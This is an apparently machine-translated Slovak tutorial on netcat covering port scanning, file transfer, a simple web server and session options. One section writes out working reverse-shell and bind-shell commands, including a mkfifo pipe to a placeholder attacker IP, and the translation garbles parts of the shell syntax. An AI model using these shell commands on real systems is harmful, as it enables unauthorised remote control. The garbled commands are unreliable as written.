Malý rozdiel medzi netcat-traditional a netcat-openbsd
Pre netcat sú k dispozícii dva podobné balíčky, s miernym rozdielom medzi nimi.
netcat-tradicna obsahuje ďalšiu voľbu '-e', ktorú je možné použiť na viazanie programu (t.j.e bash) s netcat. Táto funkcia je veľmi užitočná na účely vzdialenej správy.
netcat-openbsd mať ďalšiu podporu pre IPv6 a proxy.
Inštalácia Netcat
Netcat je síce predinštalovaný vo väčšine distribúcií Linuxu, ale ak nie, dá sa ľahko nainštalovať pomocou nasledujúcich príkazov.
Pre tradičné balenie,
[chránené e-mailom]: ~ $ sudo apt-get install netcat-traditionalPre verziu openbsd,
[chránené e-mailom]: ~ $ sudo apt-get install netcat-openbsdNetcat pre Windows je možné stiahnuť tu https: // sourceforge.net / projects / nc110 / files /.
Teraz preskúmame niekoľko zaujímavých prípadov použitia netcat
Skenovanie portov pomocou netcat
Ak chcete vyhľadať otvorené porty, použite voľbu „-z“. Netcat sa pokúsi pripojiť ku každému portu bez odosielania akýchkoľvek údajov alebo veľmi obmedzených údajov v prípade UDP. Zadajte nasledujúci text
[chránené e-mailom]: ~ $ nc -z -v hackme.org 80... snip ..
hackme.org [217.78.1.155] 80 (http) otvorené
Ak chcete vyhľadať celý rad portov, napíšte
[chránené e-mailom]: ~ $ nc -z -nv 192.168.100.72 20-80(NEZNÁMY) [192.168.100.72] 80 (http) otvorené
(NEZNÁMY) [192.168.100.72] 22 (ssh) otvorené
Prenos súborov s netcat
Ďalším užitočným prípadom použitia siete netcat je prenos súborov medzi vzdialenými počítačmi. Môžete posielať texty a binárne súbory z jedného počítača do druhého. Pokúsime sa poslať súbor „súbor“.pdf “z počítača Linux na počítač so systémom Windows [IP 192.168.100.72] s použitím netcat ako príklad.
Na počítači so systémom Windows (prijímač) zadajte nasledujúci príkaz
C: \ Users> nc -nvlp 1337> súbor.pdfPočúva sa [0.0.0.0] (rodina 2, port 1337)
Na počítači so systémom Linux (odosielateľ) zadajte nasledujúci príkaz
[chránené e-mailom]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfPripojenie k 192.168.100.72 port 1337 [tcp / *] bol úspešný!
Vzdialená správa s netcat
Jedným z najlepších prípadov použitia netcat je vzdialená správa, čo znamená, že môžete pomocou netcat ovládať počítač niekoho iného. Netcat-traditional je dodávaný s voľbou '-e', ktorou je možné spojiť program (t. J.e cmd.exe vo Windows alebo bash v Linuxe) s portom, čo znamená, že netcat bude fungovať ako komunikátor medzi programom a vzdialeným počítačom. Netcat bude prijímať príkazy zo vzdialeného počítača, bude sa spúšťať v lokálnom systéme a výsledky sa odošle späť do vzdialeného počítača. Táto funkcia je široko používaná na škodlivé účely, na udržanie zadných vrátok v počítačoch a serveroch. Táto funkcia je k dispozícii iba v netcat-traditional, ale s malým trikom možno netcat-openbsd použiť aj na rovnaký účel. Počítač ostatných môžete ovládať dvoma spôsobmi.
V Reverzná škrupina pripojenie, útočník počúva na porte a čaká na odoslanie spojenia zo zariadenia obete. Používa sa, keď je počítač obete za NAT alebo nemá verejnú IP.
Ak chcete získať reverzný shell pomocou netcat, musíte počúvať na porte pomocou netcat. Na počítači útočníka zadajte nasledujúci text,
[chránené e-mailom]: ~ $ nc -nvlp 1337Počúva sa [0.0.0.0] (rodina 2, port 1337)
Na stroji obete (ak netcat-tradicna je nainštalovaný)
// nahradiť „/ bin / bash“ za „cmd.exe “v prípade Windows
[chránené e-mailom]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashPre netcat-openbsd (kde možnosť „-e“ nie je podporovaná)
[chránené e-mailom]: ~ $ rm / tmp / f; mkfifo / tmp / f; kat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Zatiaľ čo v Viazať škrupinu pripojenie, útočník viaže port na stroji obete a pripája sa k tomuto portu pomocou klientskej zásuvky. Používa sa, keď je stroj útočníka za NAT alebo nemá verejnú IP.
Na stroji postihnutého zadajte
[chránené e-mailom]: ~ $ nc -nlvp 1337 -e / bin / bashpočúvanie [akékoľvek] 1337…
Ak chcete teraz spustiť príkazy na stroji obete, napíšte
[chránené e-mailom]: ~ $ nc -nv 127.0.0.1 1337Pripojenie k číslu 127.0.0.1 port 1337 [tcp / *] bol úspešný!
$ id
uid = 1000 (azad) gid = 1000 (azad) skupiny = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Jednoduchý webový server využívajúci netcat
Môžete tiež urobiť ďalší jednoduchý trik a použiť netcat ako minimálny jednostránkový webový server. Tento webový server by bol veľmi jednoduchý bez zvláštnych konfigurácií a zvykneme mu posielať náš HTML kód do prehliadača.
[chránené e-mailom]: ~ $, kým je to pravda; do echo -e „HTTP / 1.1 200 OK \ n \ n $ (ozvena "
Môj jednoduchý webový server využívajúci netcat
")" | nc -nvlp 1337; hotovýPočúva sa [0.0.0.0] (rodina 2, port 1337)
Teraz skúste načítať webovú stránku pomocou zvlnenia
[chránené e-mailom]: ~ $ curl http: // 127.0.0.1: 1337 /Môj jednoduchý webový server využívajúci netcat
Zadajte časový limit relácie netcat
Časový limit relácie netcat môžete určiť pomocou voľby „-w“. Netcat automaticky odpojí svoju reláciu po uplynutí zadaného času.
// -w [čas v sekundách][chránené e-mailom]: ~ $ nc -w 40 -nvlp 1337
Počúva sa [0.0.0.0] (rodina 2, port 1234)
Pokračujte v počúvaní, aj keď klient ukončí pripojenie
V normálnom režime sa server netcat vypne a prestane počúvať na porte, keď klient ukončí pripojenie. Môžete udržiavať server hore pomocou voľby „-k“
[chránené e-mailom]: ~ $ nc -k -nlvp 1234Počúva sa [0.0.0.0] (rodina 2, port 1234)
Záver
Netcat je jednoduchý, ale efektívny nástroj, ktorý je možné použiť na množstvo jednoduchých každodenných úloh. Je predinštalovaný takmer v každom operačnom systéme UNIX a je možné ho použiť na rôzne úlohy, ako je komunikácia medzi dvoma počítačmi, prenos súborov a mnoho ďalších.